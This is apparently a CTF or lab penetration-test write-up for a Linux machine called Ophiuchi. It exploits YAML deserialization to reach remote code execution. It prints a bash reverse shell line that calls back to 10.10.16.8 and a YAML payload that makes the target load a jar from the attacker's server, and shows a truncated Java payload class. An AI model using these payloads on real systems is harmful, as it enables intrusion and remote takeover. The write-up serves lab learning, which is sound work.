Ophiuchi (Linux)

Tags	
Created	@October 2, 2021 1:18 PM
Updated	@November 11, 2021 12:20 PM

Report – Methodologies

3.1 Report – Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, OS-XXXXX was tasked with exploiting the exam network. The specific IP addresses were:

Exam Network

3.2 Report – Service Enumeration

Summary of open ports for each net

3.3 Report – Penetration

Vulnerability Exploited:

- Explanation
- Privilege Escalation
- Fix
- Severity
- PoC code
- Steps to exploit:

1. Enumeration

```
git clone https://github.com/artsploit/yaml-payload
```

We can execute system commands using the Runtime.getRuntime().exec().

We write a bash script revshell.sh as follows

```
#!/bin/sh
bash -i >& /dev/tcp/10.10.16.8/4430>&1
```

Next we insert the commands to be executed on target machine. We use curl to get the revshell.sh from our machine and execute it

```
.package artsploit;import javax.script.ScriptEngine;import javax.script.ScriptEngineFactory;
import java.io.IOException;import java.util.List;public class AwesomeScriptEngineFactory implements ScriptEngineFactory {    public Awesome
```

cd yaml-payloadjavac ./src/artsploit/AwesomeScriptEngineFactory.java

(Important Note: if you have a newer version of java (>11), you will get an error message from the website and the exploit will NOT work)

Then create a **yaml-payload.jar** file using:

```
jar -cvf /Path/To/yaml-payload/yaml-payload.jar -C /Path/To/yaml-payload/src/
```

Then we have:
1. Getting user rev shell

Now, we have our payload jar file. We start a python web server at port 80 and insert the following YAML into the parser to get RCE. We also open a nc listener at port 8888 to get our reverse shell.

```
python3 -m http.server 80
```

```
!!javax.script.ScriptEngineManager [  !!java.net.URLClassLoader [[    !!java.net.URL ["http://10.10.16.8/yaml-payload.jar"]  ]]]
```

We now get our reverse shell as user tomcat.

Privilege Escalation - User

1. Privilege escalation